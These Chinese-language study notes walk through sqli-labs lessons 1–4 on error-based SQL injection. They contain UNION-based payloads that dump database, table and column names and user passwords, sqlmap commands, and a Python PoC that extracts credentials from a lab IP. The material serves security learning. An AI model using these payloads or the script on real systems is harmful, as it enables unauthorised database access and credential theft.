之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象
基于错误的 sql 注入 Less-01-04
Less-1 基于错误的单引号注入
测试
?id=1 正常执行 ?id=1' 报错 ?id=1'--+ 不报错 说明可以注释掉 SQL 语句后面的内容
猜字段数
?id=1' order by 4 --+ 报错 ?id=1' order by 3 --+ 正常 order by n :猜解执行sql语句的字段个数(并不一定是表里所有的字段数)
利用 information_schema 查数据库、表名
?id=-1’ union select 1,2,group_concat(distinct+table_schema) from information_schema.tables –+
?id=-1’ union select 1,2,database() –+
结果显示 security,dvwa,information_schema
查询数据库的表名
一条一条查 table_schema: 记录数据库名; table_name: 记录数据表名; table_schema=数据库名字的十六进制 security => 7365637572697479 dvwa => 64767761 information_schema => 696e666f726d6174696f6e5f736368656d61
?id=-1’ union select 1,table_schema,table_name from information_schema.tables where table_schema=0x7365637572697479–+
?id=-1’ union select 1,database(), table_name from information_schema.tables where table_schema=database()–+
结果显示 emails
?id=-1’ union select 1,table_schema,table_name from information_schema.tables where table_schema=0x64767761–+
结果显示 guestbook
?id=-1’ union select 1,table_schema,table_name from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61–+
结果显示 CHARACTER_SETS
查询所有表
group_concat()多条信息一次查询 distinct去重
?id=-1’ union select 1,2,group_concat(distinct+table_name, 0x20) from information_schema.tables –+
查询 security 数据库的表名
?id=-1’ union select 1,2,group_concat(distinct+table_name, 0x20) from information_schema.tables where table_schema=0x7365637572697479 –+
?id=-1’ union select 1,2,group_concat(distinct+table_name, 0x20) from information_schema.tables where table_schema=database() –+
结果显示 emails ,referers ,uagents ,users
查看 users 表的列名
?id=-1’ union select 1,2,group_concat(COLUMN_NAME,0x20) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 –+
?id=-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–+
结果显示 id ,username ,password
查询 users 表里的 username 和 password 字段值
?id=-1’ union select 1,group_concat(username,0x20),group_concat(password,0x20) from users –+
结果显示
username:Dumb ,Angelina ,Dummy ,secure ,stupid ,superman ,batman ,admin ,admin1 ,admin2 ,admin3 ,dhakkan ,admin4 password:Dumb ,I-kill-you ,p@ssword ,crappy ,stupidity ,genious ,mob!le ,admin ,admin1 ,admin2 ,admin3 ,dumbo ,admin4
?id=-1’ union select 1,group_concat(username,0x20),group_concat(password,0x20) from users where id=2–+
结果显示 Angelina 和 I-kill-you
使用 sqlmap
获取当前数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --current-db # 结果为当前数据库名
获取数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --dbs # 结果为所有的数据库名
获取表名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security --tables # 结果为 security 数据库的表名
获取列名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users --columns # 结果为 security 数据库的 users 表的列名
获取数据
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users -C id --dump-all # 结果为数据
PoC 代码
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import hackhttp import re def verify(arg): print "verify start..." payload = arg + "-1%27%20union%20select%201,md5(123),group_concat(password,0x20)%20from%20users%20--+" # -1' union select 1,md5(123),group_concat(password,0x20) from users --+ # payload 必须使用 url 编码 hh = hackhttp.hackhttp() code, head, body, redirect_url, log = hh.http(payload) if '202cb962ac59075b964b07152d234b70' in body: print "目标存在sql注入!" def exploit(arg): print "exploit start..." payload = arg + "-1%27%20union%20select%201,group_concat(username,0x20),group_concat(password,0x20)%20from%20users%20where%20id=2--+" # -1' union select 1,group_concat(username,0x20),group_concat(password,0x20) from users where id=2--+ # payload 必须使用 url 编码 hh = hackhttp.hackhttp() code, head, body, redirect_url, log = hh.http(payload) user = re.findall("Your Login name:(.*?) <br>",body) passwd = re.findall("Your Password:(.*?) </font>",body) username = "" password = "" for c,t in zip(user,passwd): username += c password += t #print username,':',password print "目标管理员用户: {username}, 密码: {password}".format(username=username,password=password) if __name__ == '__main__': verify('http://10.10.10.137/sqli-labs/Less-1/?id=') exploit('http://10.10.10.137/sqli-labs/Less-1/?id=')
Less-2 基于错误的整型注入
测试
?id=1' 报错 ?id=1" 报错 ?id=1 不报错 说明是整型注入
猜字段数
?id=1 order by 4 --+ 报错 ?id=1 order by 3 --+ 正常
查数据库
?id=-1 union select 1,2,group_concat(distinct+table_schema,0x20) from information_schema.tables–+
结果为所有的表名:security
查表名
?id=-1 union select 1,2,group_concat(distinct+table_name,0x20) from information_schema.tables where table_schema=0x7365637572697479–+
结果为 security 数据库的所有的表名:emails ,referers ,uagents ,users
查列名
?id=-1 union select 1,2,group_concat(distinct+column_name,0x20) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273–+
结果为 security 数据库的 users 表的列名:
查数据
?id=-1 union select 1,group_concat(distinct+username,0x20),group_concat(distinct+password,0x20) from users where id=2–+
结果为 security 数据库的 users 表的 id=2 的列的数据
Less-3 基于错误的 ‘) 注入
测试
?id=1' 报错 ?id=1') 报错 ?id=')--+ 不报错 ?id=1') order by 3 --+ 正常
Less-4 基于错误的 “) 注入
测试
?id=1" 报错 ?id=1") 报错 ?id=")--+ 不报错 ?id=1") order by 3 --+ 正常